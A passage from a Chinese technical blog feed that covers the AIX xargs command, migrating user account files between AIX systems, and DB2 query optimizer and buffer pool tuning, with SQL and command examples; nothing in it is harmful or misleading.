<BR>&nbsp; &nbsp; &nbsp; &nbsp; 累加至在 Size 参数指定的字节数之前达到 EOF。 <BR><BR>&nbsp; &nbsp; &nbsp; -t启用跟踪方式并在运行之前将构造的 Command 行回送到标准错误。 <BR>&nbsp; &nbsp; &nbsp; -x如果有任何 Command 行大于 -s Size 标志指定的字节数，停止运行 xargs 命令。如果指定 -I（大写 i）或 -l（小写 <BR>&nbsp; &nbsp; &nbsp; L）标志，则打开 -x 标志。如果没有指定 -i、-I（大写 i）、-l（小写 L）、-L 或 -n 标志，则 Command 行的总长度必须在 <BR>&nbsp; &nbsp; &nbsp; -s Size 标志指定的限制内。 <BR><BR>出口状态 <BR>该命令返回下列出口值： <BR>&nbsp; &nbsp; &nbsp; 0所有 Command 参数的调用都返回出口状态 0。 <BR>&nbsp; &nbsp; &nbsp; 1-125不能组装满足指定要求的命令行，一个或多个 Command 参数的调用返回一个非零出口状态，或发生一些其它的错误。 <BR>&nbsp; &nbsp; &nbsp; 126Command 已找到但不能被调用。 <BR>&nbsp; &nbsp; &nbsp; 127找不到 Command。 <BR><BR>如果不能组装满足指定要求的命令行，则不能调用这个命令，命令的调用被一个信号终止，或一个命令调用以出口状态 255 退出。xargs <BR>命令将写一条诊断消息并退出而不处理任何保留的输入。 <BR>示例 <BR>&nbsp; 要对名称在一个文件中列出的文件使用命令，输入： <BR>xargs lint -a &lt;cfiles如果 cfiles 文件包含下面的文本： <BR>main.c readit.c <BR>gettoken.c <BR>putobj.cxargs 命令就构造并运行下面的命令： <BR>lint -a main.c readit.c gettoken.c putobj.c如果 cfiles 文件包含比列出在单一外壳程序命令行上的文件名更多的文件名（最多 LINE_MAX），xargs 命令会用列出的文件名运行 lint <BR>&nbsp; 命令。然后它使用余下的文件名构造并运行另一个 lint 命令。根据在 cfiles 文件中列出的文件名，命令看起来可能类似于如下所示的内容： <BR>lint -a main.c readit.c gettoken.c . . . <BR>lint -a getisx.c getprp.c getpid.c . . . <BR>lint -a fltadd.c fltmult.c fltdiv.c . . .这一命令序列同用所有的文件名运行 lint 命令一次不完全一样。lint 命令检查文件之间的交叉引用。然而，在这个示例中，它不能在 main.c 和 <BR>&nbsp; fltadd.c 文件之间，或任意两个在分开的命令行上列出的两个文件之间进行检查。 <BR>&nbsp; 由于这个原因，仅当所有的文件名都在一行上列出时，才可能运行命令。要将这个指定到 xargs命令，通过输入以下命令使用 -x 标志： <BR><BR>&nbsp; xargs&nbsp; -x lint -a &lt;cfiles <BR>&nbsp; 如果在文件 cfiles 中的所有文件名没有在一个命令行上列出，xargs 命令显示一条错误消息。 <BR>&nbsp; 要构造包含一定数量文件名的命令，输入： <BR>&nbsp; xargs&nbsp; -t&nbsp; -n 2 diff &lt;&lt;EOF <BR>&nbsp; starting chap1 concepts chap2 writing <BR>&nbsp; chap3 <BR>&nbsp; EOF <BR>&nbsp; 这一命令序列构造并运行每个包含两个文件名的 diff 命令（-n 2）： <BR>diff starting chap1 <BR>diff concepts chap2 <BR>diff writing chap3-t 标志使 xargs 命令在运行每个命令之前显示该命令，所以能看到正在发生的事件。&lt;&lt;EOF 和 EOF 模式匹配字符定义一个 here <BR>&nbsp; document，它把在结尾行之前输入的文本用作对 xargs 命令的标准输入。 <BR>&nbsp; 要把文件名插入命令行的中间，输入： <BR>&nbsp; ls | xargs&nbsp; -t&nbsp; -I {} mv {} {}.old <BR>&nbsp; 这一命令序列通过在每个名字结尾添加 .old 来重命名在当前目录里的所有文件。-I 标志告诉 xargs 命令插入有｛｝（花括号）出现的 ls <BR>&nbsp; 目录列表的每一行。如果当前目录包含文件 chap1、chap2 和 chap3，这会构造下面的命令： <BR>mv chap1 chap1.old <BR>mv chap2 chap2.old <BR>mv chap3 chap3.old要对独立选择的文件运行命令，输入： <BR>&nbsp; ls | xargs&nbsp; -p&nbsp; -n 1 ar r lib.a <BR>&nbsp; 这一命令序列允许选择文件以添加到 lib.a 库。-p 标志告诉 xargs 命令去显示每一个它构造的 ar命令并询问是否想运行它。输入 y <BR>&nbsp; 来运行命令。如果不想运行这个命令按任意其它键。 <BR>&nbsp; 会显示一些类似于下面的内容： <BR>ar r lib.a chap1 ?... <BR>ar r lib.a chap2 ?... <BR>ar r lib.a chap3 ?... 要构造包含特定数量自变量的命令并将那些自变量插入一个命令行的中间，输入： <BR>ls | xargs -n6 | xargs -I{} echo {} - some files in the directory如果当前目录包含从 chap1 到 chap10 的文件，构造的输出将会是下列内容： <BR>chap1 chap2 chap3 chap4 chap5 chap6 - some files in the directory <BR>chap7 chap8 chap9 chap10 - some file in the directory文件 <BR>&nbsp; &nbsp; &nbsp; /usr/bin/xargs包含 xargs 命令</P></TD></TR></TBODY></TABLE></A>]]></description>
</item><item>
<title><![CDATA[一个AIX操作系统中的用户信息拷贝到另外一个AIX操作系统中]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=10793</link>
<author>xueflhg</author>
<pubDate>2005/12/26 11:08:35</pubDate>
<description><![CDATA[<FONT size=2>一个AIX操作系统中的用户信息拷贝到另外一个AIX操作系统中<BR><BR>在某些情况下，需要使一个AIX操作系统中的用户信息与另外一个AIX操作系统中的用户信息保持一致。如果在新的AIX操作系统中再重复创建这些用户将会非常浪费时间。因此通过拷贝那些与用户有关的文件并且进行一些必要的修改将会更快的实现用户的一致性。<BR>在下列过程中所涉及到的所有的文件都是单纯的ASCII码文件，并且它们的格式从AIX操作系统版本4到AIX操作系统版本5中都没有改变，所以操作系统用户可以从相同的操作系统之间被迁移，也可以从不同的操作系统之间被迁移，比如从AIX操作系统版本4到版本5之间进行迁移。 <BR>下面是需要从旧的操作系统中拷贝到新的操作系统中的文件列表： <BR>/etc/group <BR>/etc/passwd<BR>/etc/security/group <BR>/etc/security/limits <BR>/etc/security/passwd<BR>/etc/security/.ids <BR>/etc/security/environ <BR>/etc/security/.profile <BR>注意：需要修改/etc/passwd文件，以便使其中的root项如以下所示： <BR>root<IMG src="http://bbs.chinaunix.net/images/smilies/icon_exclaim.gif" align=absMiddle border=0>0:0::/:/usr/bin/ksh <BR>当你在拷贝/etc/passwd文件和/etc/group文件的时候，需要确认它们至少应该包含基本的用户和用户组。 <BR>特别地，需要包含以下的用户：<BR>root <BR>daemon <BR>bin <BR>sys <BR>adm <BR>uucp <BR>guest <BR>nobody <BR>lpd <BR>以及以下的用户组： <BR>system <BR>staff <BR>bin <BR>sys <BR>adm <BR>uucp <BR>mail <BR>security <BR>cron <BR>printq <BR>audit <BR>ecs <BR>nobody <BR>usr <BR>关于这些用户和用户组的详细信息可以在AIX操作系统版本4安装指南（AIX Version 4.3 Installaton Guide )中找到。 <BR>如果文件集bos.compat.links已经在操作系统中被安装，那么你也需要把/etc/security/mkuser.defaults文件从旧的操作系统中拷贝到新的操作系统中去。如果该文件集没有被安装，那么这个文件存在于/usr/lib/security 目录下。/etc/security 目录是一个到/usr/lib/security目录的符号连接。 <BR>如果你已经拷贝了mkuser.defaults文件，则必须在用户小节（stanzas）中进行一些改变。需要将group改变为pgrp，将program改变为shell。一个正确的小节（stanzas）应该和下面的例子看起来差不多。 <BR>user: <BR>pgrp = staff <BR>groups = staff <BR>shell = /usr/bin/ksh <BR>home = /home/$USER <BR>只要是在新机器上的AIX操作系统版本和旧机器上的AIX操作系统版本是一样的，那么以下的文件也必须被拷贝过去： <BR>/etc/security/login.cfg <BR>/etc/security/user <BR>注意：如果你决定拷贝这两个文件，那么在拷贝之前需要打开/etc/security/user文件确认一些变量如tty, registry, auth1 等相对应于新机器的设置是正确的。否则，不要拷贝这两个文件，而只应该将旧机器上的所有的用户节拷贝到新机器上新建的文件中。 <BR>一旦这些文件都被迁移过去，那么需要执行以下的命令： <BR># usrck -t ALL <BR># pwdck -t ALL <BR># grpck -t ALL <BR>上面的这些命令将会清理系统中相对于用户和用户组的任何不一致的情况（诸如，uucp 在 /etc/security/passwd文件中没有记录（entry））等。<BR>在理想的情况下，它们应该被运行两次：拷贝文件之前在旧的系统上先运行，当拷贝文件之后在新的系统上再次运行。</FONT>]]></description>
</item><item>
<title><![CDATA[当我们认为优化器没有正常工作时]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=7523</link>
<author>xueflhg</author>
<pubDate>2005/7/29 15:15:07</pubDate>
<description><![CDATA[<SPAN class=p11><B>简介</B> <BR><BR>IBM&reg;DB2&reg; Universal Database&#8482; 附带了一个非常智能化的优化器，但是有时它的选择也许看来有些不称职。无论优化器多复杂，它也只不过是一个用来处理输入数据（如物理数据库结构和统计信息）并生成执行计划的程序。如果我们认为优化器没有正常工作，我们可以尝试向它提供一些更好的输入，看看会发生什么。也许优化器的选择最终是正确的（它通常是正确的）。本文提供了一些示例，在这些示例中收集了当前和完整的统计信息、添加了适当的约束并设置了适当的优化级别导致更好的执行计划。 <BR><BR><B>为什么两个几乎相同的查询的运行方式却大相径庭</B> <BR><BR>　　让我们考虑一个非常典型的方案：查询 SELECT * FROM CUSTOMER WHERE STATE = 'IN' 的运行速度非常慢。一个非常相似的查询 SELECT * FROM CUSTOMER WHERE STATE = 'MI' 反复运行的速度却要快 10 多倍。我们首先检查显而易见的情况：STATE 列上是否有索引？有的。下一步，我们检查每个州的客户数量是否差别很大。以下查询显示了每个州的客户数量看上去相差不多： <BR><BR><BR><BR>SELECT STATE, COUNT(*) AS NUM_CUST FROM CUSTOMER GROUP BY STATE WHERE STATE IN('IN', 'MI') <BR><BR><BR><BR>STATE NUM_CUST <BR><BR>----- ---------- <BR><BR>IN 19071 <BR><BR>MI 18554 <BR><BR><BR><BR>SELECT COUNT(*) AS NUM_CUST FROM CUSTOMER <BR><BR><BR><BR>NUM_CUST <BR><BR>--------- <BR><BR>2007931 <BR><BR><BR><BR>当我们研究执行计划时，我们发现较慢的查询是作为表空间扫描来执行的，而较快的查询使用了索引。两者的区别在哪里呢？优化器为什么不为这两个查询选择同一个有效的计划呢？ <BR><BR><BR><BR>让我们仔细研究与该表相关的统计信息。在 DB2 中，通过 SYSCAT 和 SYSSTAT 模式中的系统视图可以披露统计信息。（有关统计信息的更多详细信息，请参考 DB2 Administration Guide 中关于性能（Performance）的章节。）在我们的示例中，统计信息并不是最新的（在以下的清单中，请参阅 STATS_TIME，它是两个月之前的）。此外，自上次收集统计信息（在下面的清单中，请参阅 CARD）之后，记录的总数（现在是 2007931）已经大大增加了： <BR><BR><BR><BR>SELECT STATS_TIME, CARD FROM SYSCAT.TABLES WHERE TABNAME = 'CUSTOMER' <BR><BR>STATS_TIME CARD <BR><BR>-------------------------- ------ <BR><BR>2002-10-01-08.49.49.117405 59616 <BR><BR><BR><BR>虽然表已经超过了两百万行，但是优化器查找统计信息并且估计表中的记录仍然少于 60000 条。另外，STATE 列中值的分布也已经有很大的改变（TYPE = 'F' 代表最频繁出现的值）： <BR><BR><BR><BR>SELECT TYPE,SEQNO, VALCOUNT, CAST(COLVALUE AS CHAR(30)) <BR><BR>AS COLVALUE FROM SYSSTAT.COLDIST WHERE TABSCHEMA='DB2INST1' <BR><BR>AND TABNAME='CUSTOMER_DATA' AND COLNAME='STATE' AND TYPE = 'F' <BR><BR><BR><BR>TYPE SEQNO VALCOUNT COLVALUE <BR><BR>---- ------ -------------------- -------------------------- <BR><BR>F 1 19071 'IN' <BR><BR>F 2 18554 'SC' <BR><BR>F 3 11061 'CA' <BR><BR>F 4 5857 'TN' <BR><BR>F 5 2741 'KY' <BR><BR>F 6 1065 'MO' <BR><BR>F 7 220 'IL' <BR><BR>F 8 90 'WI' <BR><BR>F 9 26 'MI' <BR><BR>F 10 4 'FL' <BR><BR><BR><BR>（该查询检索该列中最频繁出现的 10 个值。）注：上一次收集统计信息时，印地安那州的客户（STATE='IN'）在所有客户中超过了 30％，而密歇根州的客户（STATE='MI'）只占 0.05％。让我们刷新该统计信息，包括分布： <BR><BR><BR><BR>RUNSTATS ON TABLE MYSCHEMA.CUSTOMER WITH DISTRIBUTION AND DETAILED INDEXES ALL <BR><BR><BR><BR>在刷新之后，优化器使用索引访问来执行原来比较慢的查询，现在该查询的运行速度快多了。（有关 RUNSTATS 命令的完整语法，请参考 Command Reference。）正如我们所见，使统计信息保持最新是必要的。 <BR><BR><BR><BR>但我们不要认为：如果存在某种适当的索引，使用索引始终是较好的选择。 <BR><BR><B>为什么有时表空间扫描比索引扫描更可取</B> <BR><BR>考虑相同的查询 SELECT * FROM CUSTOMER WHERE STATE = ?。不管您是否相信，有时执行表空间扫描比通过索引访问记录更有效。听起来让人吃惊吧？是的，也许要进行一些分析来得出这个结论。让我们从一些基准测试开始；然后加以说明。 <BR><BR><BR><BR>CUSTOMER 表中约 18％ 的记录与条件 WHERE STATE='IL' 匹配。通过对查询 SELECT * FROM CUSTOMER WHERE STATE = 'IL' 进行分析，优化器选择表空间扫描来执行它。让我们将该查询保存到名为 select.sql 的文件中，使用基准测试工具（db2batch）来测量执行该查询的实际代价。 <BR><BR><BR><BR>db2batch -d MY_DB -f select.sql -r benchmark.txt -o p3 <BR><BR><BR><BR>Number of rows retrieved is: 19998 <BR><BR>Number of rows sent to output is: 19998 <BR><BR><BR><BR>Elapsed Time is: 5.540 seconds <BR><BR><BR><BR>Locks held currently = 0 <BR><BR>Lock escalations = 0 <BR><BR>Total sorts = 0 <BR><BR>Total sort time (ms) = 0 <BR><BR>Sort overflows = 0 <BR><BR>Buffer pool data logical reads = 2721 <BR><BR>Buffer pool data physical reads = 2580 <BR><BR>Buffer pool data writes = 0 <BR><BR>Buffer pool index logical reads = 0 <BR><BR>Buffer pool index physical reads = 0 <BR><BR><BR><BR><BR><BR>（有关 db2batch 的更多详细信息，请参阅［Command Reference］。） <BR><BR><BR><BR>现在，让我们欺骗优化器，让它选择索引扫描来执行相同的查询。让我们使统计信息看上去象有一个虚构的州（STATE='IM'），而且在这个州里有许多客户，再让我们使伊利诺斯州的客户数量（如果有的话）变得很小。因为 SYSSTAT 模式中的视图是可更新的，让我们更新其中一个： <BR><BR><BR><BR>UPDATE SYSSTAT.COLDIST SET COLVALUE='IM' WHERE <BR><BR>TABSCHEMA='DB2INST1' AND TABNAME='CUSTOMER_DATA' AND COLNAME='STATE' <BR><BR>--AND TYPE = 'F' <BR><BR>AND COLVALUE='''IL''' <BR><BR><BR><BR>提示：在 WHERE 子句中，必须用引号括起列值（COLVALUE='''IL'''）。 <BR><BR><BR><BR>现在，根据这些统计信息，优化器推断出只有很少的记录可能拥有 STATE='IL'。因此，它选择使用 STATE 上的索引的存取方案（请参阅较小的估计基数）： <BR><BR><BR><BR>SQL Statement: <BR><BR><BR><BR>SELECT * <BR><BR>FROM CUSTOMER_DATA <BR><BR>WHERE STATE='IL' <BR><BR><BR><BR>Estimated Cost = 50 <BR><BR>Estimated Cardinality = 1 <BR><BR><BR><BR>Access Table Name = DB2INST1.CUSTOMER_DATA ID = 2,5 <BR><BR>| #Columns = 13 <BR><BR>| Index Scan: Name = DB2INST1.CUST_STATE ID = 5 <BR><BR>| | Index Columns: <BR><BR>| | | 1: STATE (Ascending) <BR><BR>| | #Key Columns = 1 <BR><BR>| | | Start Key: Inclusive Value <BR><BR>| | | | 1: 'IL' <BR><BR>| | | Stop Key: Inclusive Value <BR><BR>| | | | 1: 'IL' <BR><BR>| | Data Prefetch: None <BR><BR>| | Index Prefetch: None <BR><BR><BR><BR>现在，让我们使用 db2batch 来执行第二个基准测试： <BR><BR><BR><BR>Number of rows retrieved is: 19998 <BR><BR>Number of rows sent to output is: 19998 <BR><BR><BR><BR>Elapsed Time is: 5.976 seconds <BR><BR><BR><BR>Locks held currently = 0 <BR><BR>Lock escalations = 1 <BR><BR>Total sorts = 0 <BR><BR>Total sort time (ms) = 0 <BR><BR>Sort overflows = 0 <BR><BR>Buffer pool data logical reads = 19998 <BR><BR>Buffer pool data physical reads = 2614 <BR><BR>Buffer pool data writes = 0 <BR><BR>Buffer pool index logical reads = 138 <BR><BR>Buffer pool index physical reads = 28 <BR><BR><BR><BR>显然，欺骗并没有给我们带来任何好处。在这种情况下，使用表空间扫描所耗费的时间实际上比使用索引扫描更少。 <BR><BR><BR><BR>重要事项：我们已经手工更新了统计信息来对测试数据库执行一些“假定方案（what if）”分析。这对 SYSSTAT 模式的可更新视图是完全合理的用法。但是，在生产数据库中，我们绝对不应在正常的情况下更新统计信息。 <BR><BR><BR><BR>现在，让我们解释发生了什么。我曾经听一个 5 岁的男孩说：“在监狱里待一秒钟不会有什么不良影响，所以在监狱里待两秒钟也不会有什么不良影响，那么在监狱里待三秒钟也不会有什么不良影响……”同样，通过索引读取一条记录会快一点，通过索引读取两条记录也会快一点，依此类推，但最多只能到某个数量，不能再多了。 <BR><BR><BR><BR>根据统计信息，优化器估计 18％ 的记录将匹配条件 STATE='IL'。它还预期这些记录在整个表中差不多是均匀分布的，因为 STATE 上索引的群集比率是非常低的，小于 0.1。（有关群集比率的更多信息，请参考 DB2 Administration Guide 中关于性能的章节。）这意味着：无论如何，几乎表中的每一页都至少有一条匹配的记录。表空间扫描使用预取，这意味着数据库引擎在一次有效的读操作中会读取几个相邻的页面。表空间扫描是读取表中所有页面的最有效的方法。无论索引扫描可能会多么有效，仍然存在扫描索引的额外工作。 <BR><BR><BR><BR>有关预取的更多信息，请参考： <BR><BR><BR><BR>SQL Reference 中 CREATE TABLESPACE 语句的语法及其 PREFETCHSIZE 选项。 <BR><BR>DB2 Administration Guide 中关于性能的章节中缺省预取大小（DFT_PREFETCH_SZ）配置参数。 <BR><BR>因此，无论看起来有多令人吃惊，优化器选择表空间扫描最终是正确的。我们已经了解了在这种情况下，索引访问肯定效率比较低。 <BR><BR><B>为什么有时计算 MIN 比计算 MAX 快很多</B> <BR><BR>查询 SELECT MIN(TOTAL_AMOUNT) FROM CUSTOMER 查找 TOTAL_AMOUNT 上的现有索引中的值，并立即返回答案。但是，一个非常相似的查询 SELECT MAX(TOTAL_AMOUNT) FROM CUSTOMER 却需要耗费多得多的时间。执行计划指出优化器选择了扫描整个索引来计算 MAX。为什么？ <BR><BR><BR><BR>在这种特殊情况下，没有更好的选择。TOTAL_AMOUNT 上的索引不允许反向扫描： <BR><BR><BR><BR>SELECT REVERSE_SCANS FROM SYSCAT.INDEXES WHERE <BR><BR>INDNAME = 'CUSTOMER_AMT' <BR><BR><BR><BR>REVERSE_SCANS <BR><BR>------------- <BR><BR>N <BR><BR><BR><BR>在删除索引并用选项 ALLOW REVERSE SCANS 重新创建它之后，这两个查询开始运行得一样快了。 <BR><BR><BR><BR>CREATE INDEX CUSTOMER_AMT ON CUSTOMER(TOTAL_AMOUNT) ALLOW REVERSE SCANS <BR><BR>RUNSTATS ON TABLE MYSCHEMA.CUSTOMER FOR INDEX MYSCHEMA. CUSTOMER_AMT <BR><BR><BR><BR>缺省情况下，DB2 索引不允许反向扫描。 <BR><BR><BR><BR>提示：每当您在 CREATE TABLE 语句中创建 PRIMARY KEY、FOREIGN KEY 或 UNIQUE 约束时，就会隐式地创建一个索引。该索引不允许反向扫描。 <BR><BR><BR><BR>您可以覆盖缺省行为： <BR><BR><BR><BR>创建一个没有约束的表（或删除现有约束）。 <BR><BR>创建适当的索引。 <BR><BR>使用 ALTER TABLE SQL 语句创建约束。 <BR><BR>例如： <BR><BR><BR><BR>ALTER TABLE CUSTOMER DROP PRIMARY KEY; <BR><BR>--or create a table not defining a primary key <BR><BR>CREATE UNIQUE INDEX CUSTOMER_ID ON CUSTOMER(ID) ALLOW REVERSE SCANS; <BR><BR>ALTER TABLE CUSTOMER ADD PRIMARY KEY(ID); <BR><BR><BR><BR>DB2 会给出一条警告，并重用第 2 步中创建的索引。 <BR><BR><BR><BR>正如我们所见，在一些十分常见的情况下，允许反向扫描的索引是必要的。 <BR><BR><B>消除不必要的连接</B> <BR><BR>让我们考虑以下视图： <BR><BR>CREATE VIEW CUSTOMER_ORDER_LIST <BR><BR>AS <BR><BR>SELECT <BR><BR>CUSTOMER_ORDER.CUSTOMER_ID <BR><BR>CUSTOMER.LAST_NAME <BR><BR>CUSTOMER.FIRST_NAME <BR><BR>CUSTOMER.PHONE <BR><BR>CUSTOMER.EMAIL <BR><BR>CUSTOMER_ORDER.ORDER_DT <BR><BR>CUSTOMER_ORDER.AMOUNT <BR><BR>CUSTOMER_ORDER.STATUS <BR><BR>FROM CUSTOMER JOIN CUSTOMER_ORDER <BR><BR>ON CUSTOMER.ID = CUSTOMER_ORDER.CUSTOMER_ID <BR><BR><BR><BR>CUSTOMER_ORDER 表中的所有记录在 CUSTOMER 表中都有父记录。该业务规则是由触发器维护的，而不是由外键约束维护的。（不要问我为什么。我能说的就是我在生产数据库中已经很多次看到它了。） <BR><BR><BR><BR>考虑查询： <BR><BR><BR><BR>SELECT CUSTOMER_ID, ORDER_DT, AMOUNT, STATUS FROM CUSTOMER_ORDER_LIST <BR><BR><BR><BR>您可能会认为根本不需要访问 CUSTOMER 表，因为所有必需的信息都在 CUSTOMER_ORDER 表的视图中，对吗？ <BR><BR><BR><BR>事实并非这样。出于某些原因，优化器选择访问 CUSTOMER 表上的索引： <BR><BR><BR><BR>Estimated Cost = 25693 <BR><BR><BR><BR>Access Table Name = DB2INST1.CUSTOMER ID = 2,5 <BR><BR>| #Columns = 1 <BR><BR>| Index Scan: Name = SYSIBM.SQL021126111001110 ID = 3 <BR><BR>| | Index Columns: <BR><BR>| | | 1: ID (Ascending) <BR><BR>| | #Key Columns = 0 <BR><BR>| | | Start Key: Beginning of Index <BR><BR>| | | Stop Key: End of Index <BR><BR>| | Index-Only Access <BR><BR>| | Index Prefetch: Eligible 199 <BR><BR>| Lock Intents <BR><BR>| | Table: Intent Share <BR><BR>| | Row : Next Key Share <BR><BR>Merge Join <BR><BR>| Access Table Name = DB2INST1.CUSTOMER_ORDER ID = 2,6 <BR><BR><BR><BR>（这只是部分输出。） <BR><BR><BR><BR>究竟为什么要访问 CUSTOMER 表呢？优化器的选择实际上非常有道理：您可能轻易地删除了触发器，将一条违反引用完整性的记录插入 CUSTOMER_ORDER 表中，并重新创建了触发器。记录将保留在 CUSTOMER_ORDER 表中，这意味着存在这种情况：触发器不保证引用完整性。这就意味着优化器必须假设 CUSTOMER_ORDER 表中可能有一些记录在 CUSTOMER 表中没有匹配的记录，因此查找 CUSTOMER 表上的记录是必要的。 <BR><BR><BR><BR>现在，让我们创建适当的约束，看看会发生什么： <BR><BR><BR><BR>ALTER TABLE CUSTOMER_ORDER ADD FOREIGN KEY(CUSTOMER_ID) REFERENCES CUSTOMER(ID) <BR><BR><BR><BR>如果有任何记录违反了该约束，那么这条语句就会失败。现在，优化器能消除不必要的连接，而且查询可以运行得更快： <BR><BR><BR><BR>Estimated Cost = 18067 <BR><BR><BR><BR>Access Table Name = DB2INST1.CUSTOMER_ORDER ID = 2,6 <BR><BR>| #Columns = 1 <BR><BR>| Relation Scan <BR><BR>| | Prefetch: Eligible <BR><BR>| Lock Intents <BR><BR>| | Table: Intent Share <BR><BR>| | Row : Next Key Share <BR><BR>| Return Data to Application <BR><BR>| | #Columns = 1 <BR><BR>Return Data Completion <BR><BR><BR><BR>正如我们所见，添加外键约束向优化器提供了一些非常有用的数据。优化器则向我们提供更有效的执行计划作为报答。 <BR><BR><B>什么时候好的决策比快速的决策更好</B> <BR><BR>以前当我在寻找新工作时，我曾无意中看到两个空缺职位，它们是同一家公司提供的，而且是针对同一个项目的。对于该项目，他们需要一个项目经理和一个技术负责人。在众多要求中，他们列出了： <BR><BR><BR><BR>　　◆ 对于项目经理：“能够做出快速的决策。” <BR><BR>　　◆对于技术负责人：“能够做出好的决策。” <BR><BR>　　◆确有其事！ <BR><BR><BR><BR>对于低的优化级别，优化器必须动作迅速。无论我们打算提供什么样的最新和详细的统计信息，优化器也许没有足够的时间对它进行分析。前面几章中的所有示例都是在缺省优化级别 5 下运行的。如果我们在低优化级别 1 下重新考虑前面的示例，添加引用完整性约束将不会产生更好的计划。 <BR><BR>如果您想要好的决策，而不是快速的决策，请相应地设置优化级别。 <BR><BR>有关优化级别的更多信息，请参考 DB2 Administration Guide 中关于性能和实现（Implementation）的章节。 <BR><BR><B>结束语</B> <BR><BR>DB2 优化器是非常智能化的。但是，根据不正确的信息，它也许会得出优化程度较低的结论。我们已经知道了如何： <BR><BR>检测不正确或不完整的统计信息。 <BR><BR>向优化器提供正确且完整的统计信息。 <BR><BR>在测试环境中更新 SYSSTAT 模式的视图，并执行“假定方案”实验。 <BR><BR>性能调优从来就不容易。在查询优化中没有一成不变的规则。只要有可能，就应检查优化级别，使统计信息保持最新，并确保业务规则作为约束实现。我希望本文在数据库开发人员处理许多问题时有所帮助。 <BR><BR>祝您好运！ <BR><BR>感谢 <BR><BR>作者衷心感谢 Mike Pittinger 的帮助。 <BR><BR><B>相关信息</B> <BR><BR>Command Reference 下载地址： <BR><BR>ftp://ftp.software.ibm.com/ps/products/db2/info/vr8/pdf/letter/db2n0e80.pdf <BR><BR>Administration Guide: Implementation 下载地址： <BR><BR>ftp://ftp.software.ibm.com/ps/products/db2/info/vr8/pdf/letter/db2d2e80.pdf <BR><BR>Administration Guide: Performance 下载地址： <BR><BR>ftp://ftp.software.ibm.com/ps/products/db2/info/vr8/pdf/letter/db2d3e80.pdf <BR><BR>页面顶部 <BR><BR><B>关于作者</B> <BR><BR>Alexander Kuznetsov 在软件设计、开发和数据库管理方面已有 15 年的经验。目前，他正在设计 DB2 UDB EEE 中多 TB 级群集数据库。Alexander 是 IBM 认证高级技术专家（DB2 群集）（IBM Certified Advanced Technical Expert (DB2 Cluster)）和 IBM 认证解决方案专家（数据库管理和应用程序开发）（IBM Certified Solutions Expert (Database Administration and Application Development)）。可以通过 alkuzo@mindspring.com 和 comp.databases.ibm-db2 新闻组与他联系。 <BR></SPAN>
<TABLE class=p10 cellSpacing=0 cellPadding=0 width=580 border=0><!-- 网络模版：article --><!-- 文章显示 --><!-- 文章显示 -->
<TBODY>
<TR>
<TD class=content vAlign=top width=19></TD>
<TD class=content vAlign=top width=561><IMG height=5 src="http://tech.ccidnet.com/pub/article/kong.gif" width=5><BR><SPAN class=p16><B><FONT class=Name01>当我们认为优化器没有正常工作时</FONT></B></SPAN><BR></TD></TR></TBODY></TABLE>]]></description>
</item><item>
<title><![CDATA[DB2优化]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=7482</link>
<author>xueflhg</author>
<pubDate>2005/7/27 16:25:18</pubDate>
<description><![CDATA[预备<FONT face=Arial size=5>—monitors ON</FONT><FONT face=Times size=2 New Roman>
<P align=justify>db2 update monitor switches using </P>
<P align=justify>lock ON sort ON bufferpool ON uow ON </P>
<P align=justify>table ON statement ON</P></FONT><FONT face=SimSun size=2>
<P align=justify>打开监视开关,获取需要的性能信息</P></FONT><B><FONT face=SimHei size=5>
<P align=justify>最简单而最见成效的</FONT><FONT face=Arial size=5>—Bufferpool</P></B></FONT><FONT face=SimSun size=2>
<P align=justify>缓冲池是内存中的一块存储区域,用于临时读入和更改数据库页(包含表行或索引项)。缓冲池的用途是为了提高数据库系统的性能。从内存访问数据要比从磁盘访问数据快得多。因此,数据库管理器需要从磁盘读取或写入磁盘的次数越少,性能就越好。对一个或多个缓冲池进行配置之所以是调优的最重要方面,是因为连接至数据库的应用程序的大多数数据(不包括大对象和长字段数据)操作都在缓冲池中进行。</P>
<P align=justify>缺省情况下,应用程序使用缓冲池 IBMDEFAULTBP,它是在创建数据库时创建的。当 SYSCAT.BUFFERPOOLS 目录表中该缓冲池的 NPAGES 值为 -1 时,DB2 数据库配置参数 BUFFPAGE 控制着缓冲池的大小。否则会忽略 BUFFPAGE 参数,并且用 NPAGES 参数所指定的页数创建缓冲池。</P>
<P align=justify>建议对于仅使用一个缓冲池的应用程序,将 NPAGES 更改成 -1,这样 BUFFPAGE 就可以控制该缓冲池的大小。这使得更新和报告缓冲池大小以及其它 DB2 数据库配置参数变得更加方便。</P>
<P align=justify>确保可以使用数据库配置中的 BUFFPAGE 参数来控制缓冲池大小之后,将该参数设置成合适的值。根据数据库的大小和应用程序的性质将该参数设置成一个合理的大值,这种做法很安全。通常,该参数的缺省值非常小,可能满足不了要求。</P>
<P align=justify></P>
<P align=justify>db2 get snapshot for all bufferpools</P>
<P align=justify>在数据库快照或缓冲池快照的快照输出中,查找下列logical reads和physical reads,这样就可以计算出缓冲池命中率,它可以帮助调优缓冲池:</P>
<P align=justify>缓冲池命中率表明数据库管理器不需要从磁盘装入页(即该页已经在缓冲池中)就能处理页请求的时间百分比。缓冲池的命中率越高,使用磁盘 I/O 的频率就越低。按如下计算缓冲池命中率:</P>
<P align=justify>(1 - ((buffer pool data physical reads + buffer pool index physical reads) /</P>
<P align=justify>(buffer pool data logical reads + pool index logical reads))</P>
<P align=justify>) * 100%</P>
<P align=justify>这个计算考虑了缓冲池高速缓存的所有页(索引和数据)。理想情况下,该比率应当超过 95%,并尽可能接近 100%。要提高缓冲池命中率,请尝试下面这些方法:</P>
<P align=justify>增加缓冲池大小。 </P>
<P align=justify>考虑分配多个缓冲池,如果可能的话,为每个经常被访问的大表所属的表空间分配一个缓冲池,为一组小表分配一个缓冲池,然后尝试一下使用不同大小的缓冲池以查看哪种组合会提供最佳性能。 </P>
<P align=justify>如果已分配的内存不能帮助提高性能,那么请避免给缓冲池分配过多的内存。应当根据取自测试环境的快照信息来决定缓冲池的大小。</P>
<P align=justify>太小的缓冲池会产生过多的、不必要的物理 I/O。太大的缓冲池使系统处在操作系统页面调度的风险中并消耗不必要的 CPU 周期来管理过度分配的内存。正好合适的缓冲池大小就在太小和太大之间的某个平衡点上。适当的大小存在于回报将要开始减少的点上。</P></FONT><B><FONT face=SimHei size=5>
<P align=justify>获得最佳性能的</FONT><FONT face=Arial size=5>—SQL</P></B></FONT><FONT face=SimSun size=2>
